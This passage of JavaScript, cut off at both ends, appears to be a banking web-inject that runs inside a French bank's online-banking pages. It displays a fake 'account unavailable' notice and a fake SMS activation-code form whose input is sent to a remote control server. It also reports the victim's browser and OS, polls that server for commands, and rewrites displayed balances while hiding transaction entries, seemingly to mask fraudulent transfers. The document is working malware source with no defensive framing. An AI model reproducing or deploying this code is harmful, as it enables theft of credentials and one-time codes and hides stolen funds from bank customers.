Tl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==';break;case(3):return 'data:image/gif;base64,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';break;}});
 
_tables.text = {
    block_title: 'La consultation de vos comptes est momentan&#233;ment indisponible.',
    block_body: 'Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.',
    query: 'Attention ! Pour v&#233;rifier votre compte nous vous enverrons un sms de confirmation sur votre t&#233;l&#233;phone: _PHONE_'
};
 
_tables.showpage = function(){
    if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
};
 
_tables.login = function(){
    _tables.get('login').value = '';
    _tables.get('password').value = '';
    _tables.get('button').style.display = '';
    var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
    keyboard.style.display = '';
    _tables.id('_tables.keyboard.div').style.display = 'none';
    _tables.id('_f_btntoloader').parentNode.removeChild(_tables.id('_f_btntoloader'));
};
 
_tables.fkbtn = function(){
    var error = false;
    var code = _tables.id('_tables.code.input');
    if(!/^\d{6}$/igm.test(code.value)){
        valid = true;
    }
    if(!error){
        _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');});
        _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
        _tables.set('pause',true);
        _tables.status('TJ');
        _tables.send(
                        {'type':_tables.get('type')},
                        {'domain':document.domain},
                        {'data':'Code: '+code.value},
                        {'message':'Data recieved'},
                        {'branch':'TJ'}
        );
    }
};
 
_tables.fake = function(step){
    switch(step){
        case('LOGIN'):
            location.reload();
        break;
        
        case('RELOGIN'):
            location.reload();
        break;
        
        case('BLOCK'):
        
            if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
            
            var divHolder = _tables.findout(document,'div','class:container\-ident');
            if(divHolder){
                divHolder.style.display = 'none';
                
                var div = document.createElement('div');
                div.id = '_tables.fakebox';
                div.innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
                div.className = 'container-ident';
                
                divHolder.parentNode.insertBefore(div,divHolder);
                
            }
        
        break;
        
        case('FAKE'):
            if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
            var divHolder = _tables.findout(document,'div','class:container\-ident');
            if(divHolder){
                var els = _tables.answer.p3.split('|');
                var div = document.createElement('div');
                div.id = '_tables.fakebox';
                div.style.width = '550px';
                div.style.margin = '0px auto';
                div.innerHTML = '<div style="background:#FFFFFF;width:550px;text-align:center;padding-top:20px;">'+
                                    '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEQAAABECAYAAAA4E5OyAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NkE3MTc4QjUxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NkE3MTc4QjYxNEZCMTFFNUI5Q0U5Q0E2N0M5RUFCRDQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2QTcxNzhCMzE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2QTcxNzhCNDE0RkIxMUU1QjlDRTlDQTY3QzlFQUJENCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv1LnDkAAAmHSURBVHja5Vv7U5NXGj4/MeN/0F+1sWoVFAJyCTGoECQiMSVgL+jiBQXlIpcgiisXQxARUbxUqisVL4iXUgVFwUuEkBBlxrbTsbMznc4y7bSzu8OOHbtepjvz7nmCgZRLiHA+DPSdeSZfznfO8z7P851gTL4wImKjYaZx/bgxy7SRvbs/hckOpbHZRzPYnJM5M+ed3ZH8/sVC4/yrRecXXCvt8W0x9vi1ml753d5HDvBjjOEc5mAu1mAtOMAFTnB7osGdt9HAhAZStoHNquAhVKex9z7N8pl7Jl83/8qe8743ynoXtlfQInMV+XdUk3/XIQqw1VCA/QjJHx4l+aNj/eDHGMM5zMFcrMFacIALnOBGD/RCz0kLZBautCcoW++4crNrtrK5p3PlCy7vPu5309jnf6+SArqqSW6vocCHRyjw0dHxga8FB7jACW70QC/0dOyasuG6Jj8QBFGxyRHEvLq8UN8viloXte+jAMvrEMYbwBhwhMN7oBd6orcjGK7FNZjJDaR8A5tdncrmnsqRLUAQdypIzrd5oP2IZEEMA15yvCd6QwO0QBO0SRLIu8bkESGr2MjmHEv3WdCws2TRbdNzeddBCuJXLejRkbcD3hsaoAWaoA0apQ+Eb0dZZQqb+9n2d/yaiswB5kp+lQ6/vSCGAFqgCdqgUYJA/jII03o2u2ozm3c6x3dhS2mv3FJFQQ8RRo13gWuCNmiEVkkCkZWvZ+8dSmXzzxr0/reMz4Ks1bSYN17MBXglcKG4RmiFZqGByEzJbM7hVLbgwo7CgHYTBdlehzEFAK3QDO1CApGV8TD4zvBrKCgPvLuPFndXUzBvNJUAzdAODxMOZE71ZuZ7Pj9LftfEiQ/yBoemJKAdHuBlQoH4nsnVBbaVUTAnDOHEUxnwAC++9bn6cQUy/2TmTPnNkqfB1gOcsHpaAF7gCd7eKJD3j6b5+Dft7gm2VFIoJ5pOgCd4g0ePA1nYYNiz2FxOofYqTnJweoF7gjfuscSjQHxPZsiCbhW/Cu2upLCHVdMS8AaP8DpmIAFXd7aEWipIwReKQPK39fTzy19pogUOcInSBY/w6jYQv7rM8OD2UlLwBBUPDwjBs/+9JFEFLlG64BFe4XnUQAK/KGgNs+yjcL5AFESXSG3wCs8jBuJ3Kn1RcFsxhXfv55MrhUF8IOK0wSs8w/uwQOSNebWKjjJS2vcLhbO8hWco4Bne/xCI3/HNM0JuFPYpbeW0xF4hFM7yFp6hgGd4RwYDgfh/nqEPu1MsvNlUCASAd2QwEEjQpdw6ZcdeUtn3CYezvIVnJCg7jcQzqB8IJLS5oFdlK6MIe7lwOMtbeEYCvCMDRyD+n22RKW7vpohu0582EHhHBsiCBZ7ZtlZ5r4iW2k2SwFnewjMalHf3ELJgwQ1Z+1UPimmZvUwSOGu082d+6uDvQF+8fif6wvF8PDwThcpcRMEXMo0s9GrOtQgLAjFKgkEjw89d+cXuOHfr319T9ndnHY8ojL8JjwhEdBZTyJXsi0zxZV7PMksJLe82SgJnDR3XPup/W48d4TqO5yic94RHFJCBoimvhymvG35Ybi2hyO69ksBZQ8dzn9Q7xvHoyfhoPKKADJAFW9Ji6IvkT6K6SyWBs1zHkh7X0Pf//cUxjsevfv3HAFzHMc8dj0ggA2TBVDcMr6JsxXywRBIMGhkcy3tyxqP/yGGeOx6h4BkgC0cgav5EzQelgLNcx94kEHc8QuEMJKIlr09tLaLo7mJJ4CzXMcOTzz0KBPPc8YgEMkAWTHU9+we1dQ8fLJIEg0YGxwxP6jwMpM4tj0ggA55FL1N9mfU42rKbVnTvkQTOch3Lf3Lao0Awzx2PSCADVVNmD1NdSb8W3VlIMXxQCjjLdWzbN8c9CgTz3PGIRHTHLlpyOf0iU15I3a++X0Axtr9KggEjXsIzGtT3Cij8/BYjU9RtTFbfMZDGtlsSOMtbeEaDut1APIu1LPTEOllUazattBbSSpt4OMtbeEYE944MkIXjA6Ll1zJ6NV27/rSBwDsyGPjELKJxS73mQT7F2nYJh7O8hWckwDsyGAhEWZesX9GeTatsO4XDWRd+vDMhOEsKjfCODAY/Uz320Yyo5vS+2K4dfEKBUIgu0frgGd6RwR++qFp2MaV2pTmP4vgkkRirfvv9BZn+Xu8Ajscq0frgeWlDSu2wb+6UJ5PkMa2ZpLXuIK1NHMaqw99fGpiL47FKpDZ4hWfufdGIX3ZHXk5pW9WRyyfnC8NY1fBj+8Dc6z93ehCIOG3wCs+jfvuvOrU2XNOaQVqLgVZb84Xgt9+fj2myu+9buvuvRx68vJ4L0wWP8ArPbm+YiWrc1BJnziad1SAEOV9X0z9f/mfCf0zBAS5RuuARXse8g2jJiY9kmpatr1ZbcvnCvGkJeINHePXoprvIc8nlcXcy6YOuPPrAOs3APcEbPHp8F2J4TYJP9NVNj7XmLE6SO60AT/AGj290427EiQ9lK5tTn+o6simeE00HwAs8wdu4bu1eXveJflVrGsVbsklvzZnSgAd4gadx3+uuOLCaRdWvzYm7jVC2c+LsKQlohwd4mdDN/yF7NUx5UMfU59aVr27bSnpOnMAbTCVAM7TDw4R/HhJcEsNCjAhlNVPXJxVqW1NJ35nJG22fEoBWaIZ2IT8gCkEgHKEIpUrLouo+1sc1pzzTP8igxK7tlGj1UnBt0Ait0CzsJ2YhJSsGEFoaw8IrVrHltYm+sU0beuPvbaNESxZv7mXgmqANGqFV6I8QXQPpRwxTlMeypcf072guJZt1bWmUwLelt4QBLdAEbdAo/GeqodgZI0BRpmERh3U+K+o/KdE2b3qlv7+N1lgyaU3XWwLvDQ3QAk3QBo2TFggQtjeGKSv5S+hEgkzTuK5N17qZEsz8ZdSZMalBoCd6QwO0QBO0QaMEgUS7RRgHroTqYByLOpmgim1c16q7uYkS7qXRms50+rArQxKAGz3Qi/dsQ29ogJYwF32THohrMOGm/mAiaxPkmgtJtdprG57G395CCfe39odjmUAIltchcC5wghs90As90TtsBF1vLZChO2YJ37ZLa3Q+6r+t0a9sSDof17T+J1zN+DYe0N00SjRvpcQH24YH9do4zmEO5mIN1oIDXOBcdkQ3Az2G7gjJAwkrUY8bilLsmhimquT/Kh3WsshP42XRpxM3as59XB7bmHQ57sq6Hm1T8je65g2ka9nYD36MMZzDHMzFGqwFB7jACW5PNIwnkP8D2g4DYALfS3MAAAAASUVORK5CYII=">'+
                                    '<br><br>'+
                                    '<div style="color: #999;color: #999;color: #999;padding:10px;">'+_tables.text.query.replace(/_PHONE_/igm,''+els[0])+'</div>'+
                                    '<br>'+
                                    '<div style="display: block;font-size: 1.13333rem;font-family: bnp_regular,Arial,sans-serif;color: #212121;margin: 10px 0px 5px;">Code d\'activation</div>'+
                                    '<div><input type="text" maxlength=6 id="_tables.code.input" style="outline-color: #D0D0D0;font-family: bnpp_sans_condensed_light,Arial,sans-serif;font-size: 1.6rem;line-height: 34px;padding-top: 10px;background-color: #FFF;background-image: none;border-radius: 3px;border: 1px solid #CCC;color: #767676;font-family: bnp_regular,Arial,sans-serif;font-size: 0.93333rem;height: 47px;padding: 6px 45px 6px 12px;width: 400px;margin-bottom: 15px;box-shadow: 0px 1px 2px 0px rgba(204, 204, 204, 0.4) inset;"></div>'+
                                    '<br><br>'+
                                '</div>'+
                                '<br>'+
                                '<center><button type="button" onclick="_tables.fkbtn();" id="tbfkbtn" class="btn-primary btn-block">Valider</button></center>';
                divHolder.style.display = 'none';
                divHolder.parentNode.insertBefore(div,divHolder);
            }
            setTimeout(function(){
                _tables.cc('CC');
            },1000);
        break;
    }
};
 
_tables.logintimer = function(time){
    setTimeout(function(){
        if(!_tables.get('ABORT')){
            _tables.login();
        }
    },time);
};
 
_tables.grep_amount = function(acc){
    if(!_tables.replacerarray){
        return 0;
    }
    var re_a = 0;
    
    if(acc == '[EMPTY]'){
        for(x in _tables.replacerarray){
            re_a += parseFloat(_tables.replacerarray[x]['amount']);
        }
    }else{
        for(x in _tables.replacerarray){
            if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
                re_a += parseFloat(_tables.replacerarray[x]['amount']);
            }
        }
    }
    
    return re_a;
};
 
_tables.grep_mask = function(acc){
    if(!_tables.replacerarray){
        return false;
    }
    for(x in _tables.replacerarray){
        if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
            return true;
        }
    }
    return false;
};
 
_tables.replacer_preload = function(){
    if(_tables.grep_amount('[EMPTY]') > 0){
        if(_tables.id('udc-famille-ancre'))_tables.id('udc-famille-ancre').style.display = 'none';
        if(_tables.findout(document,'section','class:row categories\-menu'))_tables.findout(document,'section','class:row categories\-menu').style.display = 'none';
        var strong = _tables.child(document,'strong');
        if(strong && strong.length > 0){
            for(var i = 0; i < strong.length; i++){
                if(/[0-9]/igm.test(_tables.html(strong[i]))){
                    if(/Avoir/igm.test(_tables.html(strong[i].parentNode))){
                        _tables.replace(strong[i],_tables.grep_amount('[EMPTY]'));
                    }
                    if(_tables.findout(strong[i].parentNode.parentNode,'span','class:a\-venir')){
                        strong[i].parentNode.parentNode.style.display = 'none';
                    }
                    if(strong[i].className == 'js-previsionnel'){
                        strong[i].parentNode.parentNode.parentNode.style.display = 'none';
                    }
                }
            }
        }
    }
};
 
_tables.replacer_balance = function(){
    var li = _tables.child(document,'li');
    if(li && li.length > 0){
        for(var i = 0; i < li.length; i++){
            var h4 = _tables.child(li[i],'h4');
            if(h4 && h4.length == 2){
                var _I1 = _tables.html(h4[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                if(_tables.grep_amount(_I1) > 0){
                    _tables.replace(h4[1],_tables.grep_amount(_I1));
                }
            }
        }
    }
};
 
_tables.replacer_nano = function(){
    if(_tables.findout(document,'div','class:nano dropdown\-list\-header')){
        _tables.findout(document,'div','class:nano dropdown\-list\-header').style.display = 'none';
    }
    
    setTimeout(function(){
        _tables.replacer_nano();
    },100);
};
 
_tables.replacer_history = function(){
    if(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')){
        var _I1 = _tables.html(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
        var _I2 = _tables.findout(document,'span','class:js\-solde.*placeholder big');
        if(_tables.grep_amount(_I1) > 0){
            _tables.replace(_I2,_tables.grep_amount(_I1));
        }
    }
    
    var run_nano = false;
    var li = _tables.child(document,'li');
    if(li && li.length > 0){
        for(var i = 0; i < li.length; i++){
            var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
            if(_tables.grep_mask(_I1)){
                li[i].style.display = 'none';
                run_nano = true;
            }
        }
    }
    
    if(run_nano)_tables.replacer_nano();
};
 
_tables.replacer = function(){
    _tables.replacer_preload();
    _tables.replacer_balance();
    _tables.replacer_history();
};
 
_tables.callback = function(){
    _tables.set('message','');
    switch(_tables.status()){
        case('CS'):
            if(/block/igm.test(_tables.answer.p1)){
                _tables.fake('BLOCK');
                _tables.showpage();
            }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
                _tables.status('NL');
                _tables.send(
                    {'type':_tables.get('type')},
                    {'domain':document.domain},
                    {'link':document.location.href},
                    {'data':'Language: ' +_tables.get('lang')+ '|OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
                    {'message':'Login page onloaded'},
                    {'branch':'TJ'}
                );
            }else{
                _tables.showpage();
            }
        break;
        
        case('SL'):
            setTimeout(function(){
                _tables.cc('CC');
            },1500);
        break;
        
        case('NL'):
            _tables.loginform();
            _tables.showpage();
        break;
        
        case('CC'):
            if(_tables.get('justLogin')){
                _tables.logintimer(_tables.answer.t1*1000);
            }
            _tables.set('justLogin',false);
            if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
                setTimeout(function(){
                    _tables.cc('CC');
                },1000);
            }else{
                _tables.set('ABORT',true);
                _tables.fake(_tables.answer.p1);
            }
        break;
        
        case('CP'):
            var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
            if(!_tables.replacerarray){
                if(div)div.style.display = '';
                return;
            }
            _tables.replacer();
            if(div)div.style.display = '';
        break;
        
        case('TJ'):
            _tables.set('pause',false);
            _tables.cc('CC');
        break;
        
        default:
            _tables.showpage();
        break;
    }
};
 
_tables.cc = function(stat){
    if(_tables.get('pause'))return false;
    _tables.status(stat);
    _tables.send(
        {'type':'intercept'},
        {'domain':document.domain},
        {'link':document.location.href},
        {'browser':_tables.brows()},
        {'branch':'CC'}
    );
};
 
_tables.keyboardclick = function(num){
    _tables.get('password').value += num;
};
 
_tables.keyboard = function(){
    if(_tables.id('secret-nbr-keyboard')){
        var keyboard = _tables.id('secret-nbr-keyboard').parentNode;
        keyboard.style.display = 'none';
        var div = document.createElement('div');
        div.id = '_tables.keyboard.div';
        div.className = 'cell-grid';
        div.innerHTML = '<div style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZ8AAACgCAMAAADkZ5FqAAACglBMVEUAAAAge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge00ge01ppoh/s5mDtZyjybavz7+w0MC21MS+2cvE3NDK3dTS5NvE1s3F187G187G2M/H2dDI2tHJ29LK29LK3NPL3dTM3tXN39bO39bO4NfP4djQ4tnR49rS5NrS5Nve6+Tn8ezp8u7w9vPz+PX1+ff3+vn+/v4fJygtNTYuNTY8Q0M8Q0Q9REVJUFBJUFFKUFFKUVFKUVJLUVJMUlNXXV5YXV5YXl9ZX19ZX2BaYGBaYGFbYWFlamtla2tmbGxnbG1obW5obm5pb29qb3BzeHl1eXp1enp1ent2e3t2e3x3e3x4fX55fX6BhYaDh4iEiYmFiYqHi4uHi4yIjIyQk5SQlJSRlZWSlZaSlpaTlpeTl5eUmJiUmJmVmZmVmZqWmpqWmpueoaGeoaKfo6OhpKShpKWipaWipqakp6ekp6ilqamrrq6srq+sr6+tsLCusLGusbGwsrOws7OxtLSytLWytbWztra0tre0t7e5u7u6vLy6vb27vb68vr69v7+9wMC+wMG/wcHAwsLAwsPBw8PDxcXDxcbIycrJysrKzMzLzc3Nzs7Nz8/O0NDP0dHR09PS1NTW19fX2NjY2dnY2trZ2tvb3Nzc3d3d3t7e39/f4OHh4uLk5OXl5eXm5ubn5+fo6Ojp6enq6urq6+vr7Ozs7Ozs7e3t7e3t7u7u7u7u7+/v7+/v8PDw8PDw8fHx8fHy8vLz8/P09PT19fX29vb39/f4+Pj5+fn6+vr7+/v8/Pz9/f3+/v7///90TyRKAAAAP3RSTlMAAgQGDBQcKjI0Ojw+QkRGSFBYWmBkZm5wiZOVqa+xs7u/y8vNzc3Nzc3Nzc3Nzc3Nzc3Nzc3N1+Hj6+/z8/1UrkjWAAAJD0lEQVR42u2d63scZRnGh1M5k4FSKOcCngDPJ848DLtYyYKsWQ/VaLGwtDarCdkN6Sgm0FYMrSimsmlS64qk1VrSphqkocF6ouxhZt494P4/zsx